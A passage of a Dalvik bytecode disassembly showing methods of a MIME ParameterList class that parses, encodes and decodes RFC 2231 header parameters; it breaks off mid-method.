:19E
0000019E  if-ne                   v0, v5, :22E
:1A2
000001A2  iget-object             v0, p0, ParameterList->lastName:String
000001A6  if-eqz                  v0, :22E
:1AA
000001AA  iget-object             v0, p0, ParameterList->lastName:String
000001AE  const-string            v3, "name"
000001B2  invoke-virtual          String->equals(Object)Z, v0, v3
000001B8  move-result             v0
000001BA  if-nez                  v0, :1D2
:1BE
000001BE  iget-object             v0, p0, ParameterList->lastName:String
000001C2  const-string            v3, "filename"
000001C6  invoke-virtual          String->equals(Object)Z, v0, v3
000001CC  move-result             v0
000001CE  if-eqz                  v0, :22E
:1D2
000001D2  iget-object             v0, p0, ParameterList->list:Map
000001D6  iget-object             v3, p0, ParameterList->lastName:String
000001DA  invoke-interface        Map->get(Object)Object, v0, v3
000001E0  move-result-object      v0
000001E2  check-cast              v0, String
000001E6  new-instance            v3, StringBuilder
000001EA  invoke-static           String->valueOf(Object)String, v0
000001F0  move-result-object      v0
000001F2  invoke-direct           StringBuilder-><init>(String)V, v3, v0
000001F8  const-string            v0, " "
000001FC  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v0
00000202  move-result-object      v0
00000204  invoke-virtual          HeaderTokenizer$Token->getValue()String, v2
0000020A  move-result-object      v2
0000020C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
00000212  move-result-object      v0
00000214  invoke-virtual          StringBuilder->toString()String, v0
0000021A  move-result-object      v0
0000021C  iget-object             v2, p0, ParameterList->list:Map
00000220  iget-object             v3, p0, ParameterList->lastName:String
00000224  invoke-interface        Map->put(Object, Object)Object, v2, v3, v0
0000022A  goto/16                 :18
:22E
0000022E  new-instance            v0, ParseException
00000232  new-instance            v1, StringBuilder
00000236  const-string            v3, "Expected \';\', got \""
0000023A  invoke-direct           StringBuilder-><init>(String)V, v1, v3
00000240  invoke-virtual          HeaderTokenizer$Token->getValue()String, v2
00000246  move-result-object      v2
00000248  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000024E  move-result-object      v1
00000250  const-string            v2, "\""
00000254  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000025A  move-result-object      v1
0000025C  invoke-virtual          StringBuilder->toString()String, v1
00000262  move-result-object      v1
00000264  invoke-direct           ParseException-><init>(String)V, v0, v1
0000026A  throw                   v0
.end method

.method static synthetic access$0(String)String
          .registers 2
00000000  invoke-static           ParameterList->quote(String)String, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method private combineMultisegmentNames(Z)V
          .registers 14
00000000  const/4                 v3, 0x0
:2
00000002  iget-object             v0, p0, ParameterList->multisegmentNames:Set
00000006  invoke-interface        Set->iterator()Iterator, v0
0000000C  move-result-object      v7
:E
0000000E  invoke-interface        Iterator->hasNext()Z, v7
:14
00000014  move-result             v0
00000016  if-nez                  v0, :72
:1A
0000001A  if-nez                  p1, :1E
:1E
0000001E  iget-object             v0, p0, ParameterList->slist:Map
00000022  invoke-interface        Map->size()I, v0
00000028  move-result             v0
0000002A  if-lez                  v0, :5C
:2E
0000002E  iget-object             v0, p0, ParameterList->slist:Map
00000032  invoke-interface        Map->values()Collection, v0
00000038  move-result-object      v0
0000003A  invoke-interface        Collection->iterator()Iterator, v0
00000040  move-result-object      v1
:42
00000042  invoke-interface        Iterator->hasNext()Z, v1
00000048  move-result             v0
0000004A  if-nez                  v0, :26A
:4E
0000004E  iget-object             v0, p0, ParameterList->list:Map
00000052  iget-object             v1, p0, ParameterList->slist:Map
00000056  invoke-interface        Map->putAll(Map)V, v0, v1
:5C
0000005C  iget-object             v0, p0, ParameterList->multisegmentNames:Set
00000060  invoke-interface        Set->clear()V, v0
00000066  iget-object             v0, p0, ParameterList->slist:Map
0000006A  invoke-interface        Map->clear()V, v0
00000070  return-void
:72
00000072  invoke-interface        Iterator->next()Object, v7
00000078  move-result-object      v0
0000007A  check-cast              v0, String
0000007E  new-instance            v8, StringBuffer
00000082  invoke-direct           StringBuffer-><init>()V, v8
00000088  new-instance            v9, ParameterList$MultiValue
0000008C  const/4                 v1, 0x0
0000008E  invoke-direct           ParameterList$MultiValue-><init>(ParameterList$MultiValue)V, v9, v1
00000094  const/4                 v1, 0x0
00000096  move                    v6, v1
00000098  move-object             v5, v3
:9A
0000009A  new-instance            v1, StringBuilder
0000009E  invoke-static           String->valueOf(Object)String, v0
000000A4  move-result-object      v2
000000A6  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000AC  const-string            v2, "*"
000000B0  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000B6  move-result-object      v1
000000B8  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v6
000000BE  move-result-object      v1
000000C0  invoke-virtual          StringBuilder->toString()String, v1
000000C6  move-result-object      v10
000000C8  iget-object             v1, p0, ParameterList->slist:Map
000000CC  invoke-interface        Map->get(Object)Object, v1, v10
000000D2  move-result-object      v1
000000D4  if-nez                  v1, :F2
:D8
000000D8  if-nez                  v6, :1C8
:DC
000000DC  iget-object             v1, p0, ParameterList->list:Map
000000E0  invoke-interface        Map->remove(Object)Object, v1, v0
:E6
000000E6  goto                    :E
:E8
000000E8  move-exception          v0
000000EA  move-object             v1, v0
000000EC  if-nez                  p1, :1E2
:F0
000000F0  throw                   v1
:F2
000000F2  invoke-virtual          ParameterList$MultiValue->add(Object)Z, v9, v1
000000F8  instance-of             v2, v1, ParameterList$Value
:FC
000000FC  if-eqz                  v2, :1C0
:100
00000100  check-cast              v1, ParameterList$Value
00000104  iget-object             v2, v1, ParameterList$Value->encodedValue:String
:108
00000108  if-nez                  v6, :140
:10C
0000010C  invoke-static           ParameterList->decodeValue(String)ParameterList$Value, v2
00000112  move-result-object      v11
00000114  iget-object             v4, v11, ParameterList$Value->charset:String
00000118  iput-object             v4, v1, ParameterList$Value->charset:String
:11C
0000011C  iget-object             v5, v11, ParameterList$Value->value:String
00000120  iput-object             v5, v1, ParameterList$Value->value:String
:124
00000124  move-object             v2, v5
00000126  move-object             v5, v4
:128
00000128  invoke-virtual          StringBuffer->append(String)StringBuffer, v8, v2
0000012E  iget-object             v1, p0, ParameterList->slist:Map
00000132  invoke-interface        Map->remove(Object)Object, v1, v10
:138
00000138  add-int/lit8            v1, v6, 0x1
0000013C  move                    v6, v1
0000013E  goto                    :9A
:140
00000140  if-nez                  v5, :170
:144
00000144  iget-object             v1, p0, ParameterList->multisegmentNames:Set
00000148  invoke-interface        Set->remove(Object)Z, v1, v0
:14E
0000014E  goto                    :D8
:150
00000150  move-exception          v1
00000152  move-object             v4, v5
:154
00000154  sget-boolean            v5, ParameterList->decodeParametersStrict:Z
00000158  if-eqz                  v5, :2C8
:15C
0000015C  new-instance            v0, ParseException
00000160  invoke-virtual          NumberFormatException->toString()String, v1
00000166  move-result-object      v1
00000168  invoke-direct           ParseException-><init>(String)V, v0, v1
0000016E  throw                   v0
:170
00000170  invoke-static           ParameterList->decodeBytes(String, String)String, v2, v5
00000176  move-result-object      v4
00000178  iput-object             v4, v1, ParameterList$Value->value:String
:17C
0000017C  move-object             v2, v4
0000017E  goto                    :128
:180
00000180  move-exception          v1
00000182  move-object             v5, v4
:184
00000184  sget-boolean            v4, ParameterList->decodeParametersStrict:Z
00000188  if-eqz                  v4, :128
:18C
0000018C  new-instance            v0, ParseException
00000190  invoke-virtual          UnsupportedEncodingException->toString()String, v1
00000196  move-result-object      v1
00000198  invoke-direct           ParseException-><init>(String)V, v0, v1
0000019E  throw                   v0
:1A0
000001A0  move-exception          v1
000001A2  move-object             v5, v4
:1A4
000001A4  sget-boolean            v4, ParameterList->decodeParametersStrict:Z
000001A8  if-eqz                  v4, :128
:1AC
000001AC  new-instance            v0, ParseException
000001B0  invoke-virtual          StringIndexOutOfBoundsException->toString()String, v1
000001B6  move-result-object      v1
000001B8  invoke-direct           ParseException-><init>(String)V, v0, v1
000001BE  throw                   v0
:1C0
000001C0  check-cast              v1, String
000001C4  move-object             v2, v1
000001C6  goto                    :128
:1C8
000001C8  invoke-virtual          StringBuffer->toString()String, v8
000001CE  move-result-object      v1
000001D0  iput-object             v1, v9, ParameterList$MultiValue->value:String
000001D4  iget-object             v1, p0, ParameterList->list:Map
000001D8  invoke-interface        Map->put(Object, Object)Object, v1, v0, v9
:1DE
000001DE  goto/16                 :E
:1E2
000001E2  iget-object             v0, p0, ParameterList->slist:Map
000001E6  invoke-interface        Map->size()I, v0
000001EC  move-result             v0
000001EE  if-lez                  v0, :220
:1F2
000001F2  iget-object             v0, p0, ParameterList->slist:Map
000001F6  invoke-interface        Map->values()Collection, v0
000001FC  move-result-object      v0
000001FE  invoke-interface        Collection->iterator()Iterator, v0
00000204  move-result-object      v2
:206
00000206  invoke-interface        Iterator->hasNext()Z, v2
0000020C  move-result             v0
0000020E  if-nez                  v0, :238
:212
00000212  iget-object             v0, p0, ParameterList->list:Map
00000216  iget-object             v2, p0, ParameterList->slist:Map
0000021A  invoke-interface        Map->putAll(Map)V, v0, v2
:220
00000220  iget-object             v0, p0, ParameterList->multisegmentNames:Set
00000224  invoke-interface        Set->clear()V, v0
0000022A  iget-object             v0, p0, ParameterList->slist:Map
0000022E  invoke-interface        Map->clear()V, v0
00000234  goto/16                 :F0
:238
00000238  invoke-interface        Iterator->next()Object, v2
0000023E  move-result-object      v0
00000240  instance-of             v3, v0, ParameterList$Value
00000244  if-eqz                  v3, :206
:248
00000248  check-cast              v0, ParameterList$Value
0000024C  iget-object             v3, v0, ParameterList$Value->encodedValue:String
00000250  invoke-static           ParameterList->decodeValue(String)ParameterList$Value, v3
00000256  move-result-object      v3
00000258  iget-object             v4, v3, ParameterList$Value->charset:String
0000025C  iput-object             v4, v0, ParameterList$Value->charset:String
00000260  iget-object             v3, v3, ParameterList$Value->value:String
00000264  iput-object             v3, v0, ParameterList$Value->value:String
00000268  goto                    :206
:26A
0000026A  invoke-interface        Iterator->next()Object, v1
00000270  move-result-object      v0
00000272  instance-of             v2, v0, ParameterList$Value
00000276  if-eqz                  v2, :42
:27A
0000027A  check-cast              v0, ParameterList$Value
0000027E  iget-object             v2, v0, ParameterList$Value->encodedValue:String
00000282  invoke-static           ParameterList->decodeValue(String)ParameterList$Value, v2
00000288  move-result-object      v2
0000028A  iget-object             v3, v2, ParameterList$Value->charset:String
0000028E  iput-object             v3, v0, ParameterList$Value->charset:String
00000292  iget-object             v2, v2, ParameterList$Value->value:String
00000296  iput-object             v2, v0, ParameterList$Value->value:String
0000029A  goto/16                 :42
:29E
0000029E  move-exception          v1
000002A0  move-object             v2, v3
000002A2  goto                    :1A4
:2A4
000002A4  move-exception          v1
000002A6  goto/16                 :1A4
:2AA
000002AA  move-exception          v1
000002AC  move-object             v2, v3
000002AE  goto/16                 :184
:2B2
000002B2  move-exception          v1
000002B4  goto/16                 :184
:2B8
000002B8  move-exception          v1
000002BA  goto/16                 :154
:2BE
000002BE  move-exception          v1
000002C0  move-object             v2, v3
000002C2  move-object             v4, v5
000002C4  goto/16                 :154
:2C8
000002C8  move-object             v5, v4
000002CA  goto/16                 :128
          .catchall {:2 .. :14} :E8
          .catchall {:72 .. :E6} :E8
          .catchall {:F2 .. :FC} :E8
          .catch NumberFormatException {:100 .. :108} :2BE
          .catch UnsupportedEncodingException {:100 .. :108} :2AA
          .catch StringIndexOutOfBoundsException {:100 .. :108} :29E
          .catchall {:100 .. :108} :E8
          .catch NumberFormatException {:10C .. :11C} :150
          .catch UnsupportedEncodingException {:10C .. :11C} :2B2
          .catch StringIndexOutOfBoundsException {:10C .. :11C} :2A4
          .catchall {:10C .. :11C} :E8
          .catch NumberFormatException {:11C .. :124} :2B8
          .catch UnsupportedEncodingException {:11C .. :124} :180
          .catch StringIndexOutOfBoundsException {:11C .. :124} :1A0
          .catchall {:11C .. :124} :E8
          .catchall {:128 .. :138} :E8
          .catch NumberFormatException {:144 .. :14E} :150
          .catch UnsupportedEncodingException {:144 .. :14E} :2B2
          .catch StringIndexOutOfBoundsException {:144 .. :14E} :2A4
          .catchall {:144 .. :14E} :E8
          .catchall {:154 .. :170} :E8
          .catch NumberFormatException {:170 .. :17C} :150
          .catch UnsupportedEncodingException {:170 .. :17C} :2B2
          .catch StringIndexOutOfBoundsException {:170 .. :17C} :2A4
          .catchall {:170 .. :17C} :E8
          .catchall {:184 .. :1DE} :E8
.end method

.method private static decodeBytes(String, String)String
          .registers 9
00000000  const/4                 v1, 0x0
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v0
0000000A  new-array               v5, v0, [B
0000000E  move                    v0, v1
00000010  move                    v2, v1
:12
00000012  invoke-virtual          String->length()I, p0
00000018  move-result             v3
0000001A  if-lt                   v2, v3, :32
:1E
0000001E  new-instance            v2, String
00000022  invoke-static           MimeUtility->javaCharset(String)String, p1
00000028  move-result-object      v3
0000002A  invoke-direct           String-><init>([B, I, I, String)V, v2, v5, v1, v0, v3
00000030  return-object           v2
:32
00000032  invoke-virtual          String->charAt(I)C, p0, v2
00000038  move-result             v3
0000003A  const/16                v4, 0x25
0000003E  if-ne                   v3, v4, :7C
:42
00000042  add-int/lit8            v3, v2, 0x1
00000046  add-int/lit8            v4, v2, 0x3
0000004A  invoke-virtual          String->substring(I, I)String, p0, v3, v4
00000050  move-result-object      v3
00000052  const/16                v4, 0x10
00000056  invoke-static           Integer->parseInt(String, I)I, v3, v4
0000005C  move-result             v3
0000005E  int-to-char             v3, v3
00000060  add-int/lit8            v2, v2, 0x2
00000064  move                    v4, v2
:66
00000066  add-int/lit8            v2, v0, 0x1
0000006A  int-to-byte             v3, v3
0000006C  aput-byte               v3, v5, v0
00000070  add-int/lit8            v0, v4, 0x1
00000074  move                    v6, v2
00000076  move                    v2, v0
00000078  move                    v0, v6
0000007A  goto                    :12
:7C
0000007C  move                    v4, v2
0000007E  goto                    :66
.end method

.method private static decodeValue(String)ParameterList$Value
          .registers 6
00000000  new-instance            v0, ParameterList$Value
00000004  const/4                 v1, 0x0
00000006  invoke-direct           ParameterList$Value-><init>(ParameterList$Value)V, v0, v1
0000000C  iput-object             p0, v0, ParameterList$Value->encodedValue:String
00000010  iput-object             p0, v0, ParameterList$Value->value:String
00000014  const/16                v1, 0x27
:18
00000018  invoke-virtual          String->indexOf(I)I, p0, v1
0000001E  move-result             v1
00000020  if-gtz                  v1, :74
:24
00000024  sget-boolean            v1, ParameterList->decodeParametersStrict:Z
00000028  if-eqz                  v1, :108
:2C
0000002C  new-instance            v1, ParseException
00000030  new-instance            v2, StringBuilder
00000034  const-string            v3, "Missing charset in encoded value: "
00000038  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000003E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p0
00000044  move-result-object      v2
00000046  invoke-virtual          StringBuilder->toString()String, v2
0000004C  move-result-object      v2
0000004E  invoke-direct           ParseException-><init>(String)V, v1, v2
00000054  throw                   v1
:56
00000056  move-exception          v1
00000058  sget-boolean            v2, ParameterList->decodeParametersStrict:Z
0000005C  if-eqz                  v2, :108
:60
00000060  new-instance            v0, ParseException
00000064  invoke-virtual          NumberFormatException->toString()String, v1
0000006A  move-result-object      v1
0000006C  invoke-direct           ParseException-><init>(String)V, v0, v1
00000072  throw                   v0
:74
00000074  const/4                 v2, 0x0
:76
00000076  invoke-virtual          String->substring(I, I)String, p0, v2, v1
0000007C  move-result-object      v2
0000007E  const/16                v3, 0x27
00000082  add-int/lit8            v4, v1, 0x1
00000086  invoke-virtual          String->indexOf(I, I)I, p0, v3, v4
0000008C  move-result             v3
0000008E  if-gez                  v3, :E2
:92
00000092  sget-boolean            v1, ParameterList->decodeParametersStrict:Z
00000096  if-eqz                  v1, :108
:9A
0000009A  new-instance            v1, ParseException
0000009E  new-instance            v2, StringBuilder
000000A2  const-string            v3, "Missing language in encoded value: "
000000A6  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000AC  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p0
000000B2  move-result-object      v2
000000B4  invoke-virtual          StringBuilder->toString()String, v2
000000BA  move-result-object      v2
000000BC  invoke-direct           ParseException-><init>(String)V, v1, v2
000000C2  throw                   v1
:C4
000000C4  move-exception          v1
000000C6  sget-boolean            v2, ParameterList->decodeParametersStrict:Z
000000CA  if-eqz                  v2, :108
:CE
000000CE  new-instance            v0, ParseException
000000D2  invoke-virtual          UnsupportedEncodingException->toString()String, v1
000000D8  move-result-object      v1
000000DA  invoke-direct           ParseException-><init>(String)V, v0, v1
000000E0  throw                   v0
:E2
000000E2  add-int/lit8            v1, v1, 0x1
:E6
000000E6  invoke-virtual          String->substring(I, I)String, p0, v1, v3
000000EC  add-int/lit8            v1, v3, 0x1
000000F0  invoke-virtual          String->substring(I)String, p0, v1
000000F6  move-result-object      v1
000000F8  iput-object             v2, v0, ParameterList$Value->charset:String
000000FC  invoke-static           ParameterList->decodeBytes(String, String)String, v1, v2
00000102  move-result-object      v1
00000104  iput-object             v1, v0, ParameterList$Value->value:String
:108
00000108  return-object           v0
:10A
0000010A  move-exception          v1
0000010C  sget-boolean            v2, ParameterList->decodeParametersStrict:Z
00000110  if-eqz                  v2, :108
:114
00000114  new-instance            v0, ParseException
00000118  invoke-virtual          StringIndexOutOfBoundsException->toString()String, v1
0000011E  move-result-object      v1
00000120  invoke-direct           ParseException-><init>(String)V, v0, v1
00000126  throw                   v0
          .catch NumberFormatException {:18 .. :56} :56
          .catch UnsupportedEncodingException {:18 .. :56} :C4
          .catch StringIndexOutOfBoundsException {:18 .. :56} :10A
          .catch NumberFormatException {:76 .. :C4} :56
          .catch UnsupportedEncodingException {:76 .. :C4} :C4
          .catch StringIndexOutOfBoundsException {:76 .. :C4} :10A
          .catch NumberFormatException {:E6 .. :108} :56
          .catch UnsupportedEncodingException {:E6 .. :108} :C4
          .catch StringIndexOutOfBoundsException {:E6 .. :108} :10A
.end method

.method private static encodeValue(String, String)ParameterList$Value
          .registers 11
00000000  const/16                v8, 0x25
00000004  const/4                 v1, 0x0
00000006  invoke-static           MimeUtility->checkAscii(String)I, p0
0000000C  move-result             v0
0000000E  const/4                 v2, 0x1
00000010  if-ne                   v0, v2, :18
:14
00000014  move-object             v0, v1
:16
00000016  return-object           v0
:18
00000018  invoke-static           MimeUtility->javaCharset(String)String, p1
0000001E  move-result-object      v0
00000020  invoke-virtual          String->getBytes(String)[B, p0, v0
:26
00000026  move-result-object      v2
00000028  new-instance            v3, StringBuffer
0000002C  array-length            v0, v2
0000002E  invoke-virtual          String->length()I, p1
00000034  move-result             v4
00000036  add-int/2addr           v0, v4
00000038  add-int/lit8            v0, v0, 0x2
0000003C  invoke-direct           StringBuffer-><init>(I)V, v3, v0
00000042  invoke-virtual          StringBuffer->append(String)StringBuffer, v3, p1
00000048  move-result-object      v0
0000004A  const-string            v4, "\'\'"
0000004E  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v4
00000054  const/4                 v0, 0x0
:56
00000056  array-length            v4, v2
00000058  if-lt                   v0, v4, :82
:5C
0000005C  new-instance            v0, ParameterList$Value
00000060  invoke-direct           ParameterList$Value-><init>(ParameterList$Value)V, v0, v1
00000066  iput-object             p1, v0, ParameterList$Value->charset:String
0000006A  iput-object             p0, v0, ParameterList$Value->value:String
0000006E  invoke-virtual          StringBuffer->toString()String, v3
00000074  move-result-object      v1
00000076  iput-object             v1, v0, ParameterList$Value->encodedValue:String
0000007A  goto                    :16
:7C
0000007C  move-exception          v0
0000007E  move-object             v0, v1
00000080  goto                    :16
:82
00000082  aget-byte               v4, v2, v0
00000086  and-int/lit16           v4, v4, 0xFF
0000008A  int-to-char             v4, v4
0000008C  const/16                v5, 0x20
00000090  if-le                   v4, v5, :C0
:94
00000094  const/16                v5, 0x7F
00000098  if-ge                   v4, v5, :C0
:9C
0000009C  const/16                v5, 0x2A
000000A0  if-eq                   v4, v5, :C0
:A4
000000A4  const/16                v5, 0x27
000000A8  if-eq                   v4, v5, :C0
:AC
000000AC  if-eq                   v4, v8, :C0
:B0
000000B0  const-string            v5, "()<>@,;:\\\"\t []/?="
000000B4  invoke-virtual          String->indexOf(I)I, v5, v4
000000BA  move-result             v5
000000BC  if-ltz                  v5, :F4
:C0
000000C0  invoke-virtual          StringBuffer->append(C)StringBuffer, v3, v8
000000C6  move-result-object      v5
000000C8  sget-object             v6, ParameterList->hex:[C
000000CC  shr-int/lit8            v7, v4, 0x4
000000D0  aget-char               v6, v6, v7
000000D4  invoke-virtual          StringBuffer->append(C)StringBuffer, v5, v6
000000DA  move-result-object      v5
000000DC  sget-object             v6, ParameterList->hex:[C
000000E0  and-int/lit8            v4, v4, 0xF
000000E4  aget-char               v4, v6, v4
000000E8  invoke-virtual          StringBuffer->append(C)StringBuffer, v5, v4
:EE
000000EE  add-int/lit8            v0, v0, 0x1
000000F2  goto                    :56
:F4
000000F4  invoke-virtual          StringBuffer->append(C)StringBuffer, v3, v4
000000FA  goto                    :EE
          .catch UnsupportedEncodingException {:18 .. :26} :7C
.end method

.method private putEncodedName(String, String)V
          .registers 7
00000000  const/4                 v3, 0x0
00000002  const/16                v0, 0x2A
00000006  invoke-virtual          String->indexOf(I)I, p1, v0
0000000C  move-result             v0
0000000E  if-gez                  v0, :1E
:12
00000012  iget-object             v0, p0, ParameterList->list:Map
00000016  invoke-interface        Map->put(Object, Object)Object, v0, p1, p2
:1C
0000001C  return-void
:1E
0000001E  invoke-virtual          String->length()I, p1
00000024  move-result             v1
00000026  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000002A  if-ne                   v0, v1, :4A
:2E
0000002E  invoke-virtual          String->substring(I, I)String, p1, v3, v0
00000034  move-result-object      v0
00000036  iget-object             v1, p0, ParameterList->list:Map
0000003A  invoke-static           ParameterList->decodeValue(String)ParameterList$Value, p2
00000040  move-result-object      v2
00000042  invoke-interface        Map->put(Object, Object)Object, v1, v0, v2
00000048  goto                    :1C
:4A
0000004A  invoke-virtual          String->substring(I, I)String, p1, v3, v0
00000050  move-result-object      v0
00000052  iget-object             v1, p0, ParameterList->multisegmentNames:Set
00000056  invoke-interface        Set->add(Object)Z, v1, v0
0000005C  iget-object             v1, p0, ParameterList->list:Map
00000060  const-string            v2, ""
00000064  invoke-interface        Map->put(Object, Object)Object, v1, v0, v2
0000006A  const-string            v0, "*"
0000006E  invoke-virtual          String->endsWith(String)Z, p1, v0
00000074  move-result             v0
00000076  if-eqz                  v0, :BA
:7A
0000007A  new-instance            v1, ParameterList$Value
0000007E  const/4                 v0, 0x0
00000080  invoke-direct           ParameterList$Value-><init>(ParameterList$Value)V, v1, v0
00000086  move-object             v0, v1
00000088  check-cast              v0, ParameterList$Value
0000008C  iput-object             p2, v0, ParameterList$Value->encodedValue:String
00000090  move-object             v0, v1
00000092  check-cast              v0, ParameterList$Value
00000096  iput-object             p2, v0, ParameterList$Value->value:String
0000009A  invoke-virtual          String->length()I, p1
000000A0  move-result             v0
000000A2  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
000000A6  invoke-virtual          String->substring(I, I)String, p1, v3, v0
000000AC  move-result-object      p1
:AE
000000AE  iget-object             v0, p0, ParameterList->slist:Map
000000B2  invoke-interface        Map->put(Object, Object)Object, v0, p1, v1
000000B8  goto                    :1C
:BA
000000BA  move-object             v1, p2
000000BC  goto                    :AE
.end method

.method private static quote(String)String
          .registers 2
00000000  const-string            v0, "()<>@,;:\\\"\t []/?="
00000004  invoke-static           MimeUtility->quote(String, String)String, p0, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public get(String)String
          .registers 5
00000000  iget-object             v0, p0, ParameterList->list:Map
00000004  invoke-virtual          String->trim()String, p1
0000000A  move-result-object      v1
0000000C  sget-object             v2, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
00000016  move-result-object      v1
00000018  invoke-interface        Map->get(Object)Object, v0, v1
0000001E  move-result-object      v0
00000020  instance-of             v1, v0, ParameterList$MultiValue
00000024  if-eqz                  v1, :32
:28
00000028  check-cast              v0, ParameterList$MultiValue
0000002C  iget-object             v0, v0, ParameterList$MultiValue->value:String
:30
00000030  return-object           v0
:32
00000032  instance-of             v1, v0, ParameterList$Value
00000036  if-eqz                  v1, :44
:3A
0000003A  check-cast              v0, ParameterList$Value
0000003E  iget-object             v0, v0, ParameterList$Value->value:String
00000042  goto                    :30
:44
00000044  check-cast              v0, String
00000048  goto                    :30
.end method

.method public getNames()Enumeration
          .registers 3
00000000  new-instance            v0, ParameterList$ParamEnum
00000004  iget-object             v1, p0, ParameterList->list:Map
00000008  invoke-interface        Map->keySet()Set, v1
0000000E  move-result-object      v1
00000010  invoke-interface        Set->iterator()Iterator, v1
00000016  move-result-object      v1
00000018  invoke-direct           ParameterList$ParamEnum-><init>(Iterator)V, v0, v1
0000001E  return-object           v0
.end method

.method public remove(String)V
          .registers 5
00000000  iget-object             v0, p0, ParameterList->list:Map
00000004  invoke-virtual          String->trim()String, p1
0000000A  move-result-object      v1
0000000C  sget-object             v2, Locale->ENGLISH:Locale
00000010  invoke-virtual          String->toLowerCase(Locale)String, v1, v2
00000016  move-result-object      v1
00000018  invoke-interface        Map->remove(Object)Object, v0, v1
0000001E  return-void
.end method

.method public set(String, String)V
          .registers 5
00000000  if-nez                  p1, :3A
:4
00000004  if-eqz                  p2, :3A
:8
00000008  const-string            v0, "DONE"
0000000C  invoke-virtual          String->equals(Object)Z, p2, v0
00000012  move-result             v0
00000014  if-eqz                  v0, :3A
:18
00000018  sget-boolean            v0, ParameterList->decodeParameters:Z
0000001C  if-eqz                  v0, :38
:20
00000020  iget-object             v0, p0, ParameterList->multisegmentNames:Set
00000024  invoke-interface        Set->size()I, v0
0000002A  move-result             v0
0000002C  if-lez                  v0, :38
:30
00000030  const/4                 v0, 0x1
:32
00000032  invoke-direct           ParameterList->combineMultisegmentNames(Z)V, p0, v0
:38
00000038  return-void
:3A
0000003A  invoke-virtual          String->trim()String, p1
00000040  move-result-object      v0
00000042  sget-object             v1, Locale->ENGLISH:Locale
00000046  invoke-virtual          String->toLowerCase(Locale)String, v0, v1
0000004C  move-result-object      v0
0000004E  sget-boolean            v1, ParameterList->decodeParameters:Z
00000052  if-eqz                  v1, :6C
:56
00000056  invoke-direct           ParameterList->putEncodedName(String, String)V, p0, v0, p2
:5C
0000005C  goto                    :38
:5E
0000005E  move-exception          v1
00000060  iget-object             v1, p0, ParameterList->list:Map
00000064  invoke-interface        Map->put(Object, Object)Object, v1, v0, p2
0000006A  goto                    :38
:6C
0000006C  iget-object             v1, p0, ParameterList->list:Map
00000070  invoke-interface        Map->put(Object, Object)Object, v1, v0, p2
00000076  goto                    :38
:78
00000078  move-exception          v0
0000007A  goto                    :38
          .catch ParseException {:32 .. :38} :78
          .catch ParseException {:56 .. :5C} :5E
.end method

.method public set(String, String, String)V
          .registers 8
00000000  sget-boolean            v0, ParameterList->encodeParameters:Z
00000004  if-eqz                  v0, :3C
:8
00000008  invoke-static           ParameterList->encodeValue(String, String)ParameterList$Value, p2, p3
0000000E  move-result-object      v0
00000010  if-eqz                  v0, :34
:14
00000014  iget-object             v1, p0, ParameterList->list:Map
00000018  invoke-virtual          String->trim()String, p1
0000001E  move-result-object      v2
00000020  sget-object             v3, Locale->ENGLISH:Locale
00000024  invoke-virtual          String->toLowerCase(Locale)String, v2, v3
0000002A  move-result-object      v2
0000002C  invoke-interface        Map->put(Object, Object)Object, v1, v2, v0
:32
00000032  return-void
:34
00000034  invoke-virtual          ParameterList->set(String, String)V, p0, p1, p2
0000003A  goto                    :32
:3C
0000003C  invoke-virtual          ParameterList->set(String, String)V, p0, p1, p2
00000042  goto                    :32
.end method

.method public size()I
          .registers 2
00000000  iget-object             v0, p0, ParameterList->list:Map
00000004  invoke-interface        Map->size()I, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public toString()String
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          ParameterList->toString(I)String, p0, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public toString(I)String
          .registers 10
00000000  new-instance            v3, ParameterList$ToStringBuffer
00000004  invoke-direct           ParameterList$ToStringBuffer-><init>(I)V, v3, p1
0000000A  iget-object             v0, p0, ParameterList->list:Map
0000000E  invoke-interface        Map->keySet()Set, v0
00000014  move-result-object      v0
00000016  invoke-interface        Set->iterator()Iterator, v0
0000001C  move-result-object      v4
:1E
0000001E  invoke-interface        Iterator->hasNext()Z, v4
00000024  move-result             v0
00000026  if-nez                  v0, :34
:2A
0000002A  invoke-virtual          ParameterList$ToStringBuffer->toString()String, v3
00000030  move-result-object      v0
00000032  return-object           v0
:34
00000034  invoke-interface        Iterator->next()Object, v4
0000003A  move-result-object      v0
0000003C  check-cast              v0, String
00000040  iget-object             v1, p0, ParameterList->list:Map
00000044  invoke-interface        Map->get(Object)Object, v1, v0
0000004A  move-result-object      v1
0000004C  instance-of             v2, v1, ParameterList$MultiValue
00000050  if-eqz                  v2, :110
:54
00000054  check-cast              v1, ParameterList$MultiValue
00000058  new-instance            v2, StringBuilder
0000005C  invoke-static           String->valueOf(Object)String, v0
00000062  move-result-object      v0
00000064  invoke-direct           StringBuilder-><init>(String)V, v2, v0
0000006A  const-string            v0, "*"
0000006E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000074  move-result-object      v0
00000076  invoke-virtual          StringBuilder->toString()String, v0
0000007C  move-result-object      v5
0000007E  const/4                 v0, 0x0
00000080  move                    v2, v0
:82
00000082  invoke-virtual          ParameterList$MultiValue->size()I, v1
00000088  move-result             v0
0000008A  if-ge                   v2, v0, :1E
:8E
0000008E  invoke-virtual          ParameterList$MultiValue->get(I)Object, v1, v2
00000094  move-result-object      v0
00000096  instance-of             v6, v0, ParameterList$Value
0000009A  if-eqz                  v6, :E2
:9E
